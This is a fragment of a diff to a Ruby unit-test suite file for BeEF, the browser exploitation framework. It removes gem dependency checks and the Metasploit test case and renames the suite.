'../common/ts_common' -begin - require 'test/unit/ui/console/testrunner' -rescue LoadError - puts "The following instruction failed: require 'test/unit/ui/console/testrunner'" - puts "Please run: sudo gem install test-unit-full" - exit -end - -begin - require 'curb' -rescue LoadError - puts "The following instruction failed: require 'curb'" - puts "Please run: sudo gem install curb" - exit -end - -if (ARGV[0] != 'no_msf') - begin - require 'msfrpc-client' - rescue LoadError - puts "The following instruction failed: require 'msfrpc-client'" - puts "Please run: sudo gem install msfrpc-client" - exit - end -end - -require './core/main/network_stack/handlers/dynamicreconstruction.rb' require './core/filter/tc_base' require './core/filter/tc_command' require './core/tc_loader' @@ -57,11 +25,11 @@ require './core/tc_api' require './core/tc_modules' require './tc_grep' require './tc_filesystem' -require './extensions/tc_metasploit' unless (ARGV[0] == 'no_msf') class TS_BeefTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF TestSuite") + + suite = Test::Unit::TestSuite.new(name="BeEF Unit Test Suite") suite << TC_Filter.suite suite << TC_Loader.suite suite << TC_Core.suite @@ -69,8 +37,7 @@ class TS_BeefTests suite << TC_Modules.suite suite << TC_Filesystem.suite suite << TC_Grep.suite - #suite << TC_DynamicReconstruction.suite - suite << TC_Metasploit.suite unless (ARGV[0] == 'no_msf') + return suite end end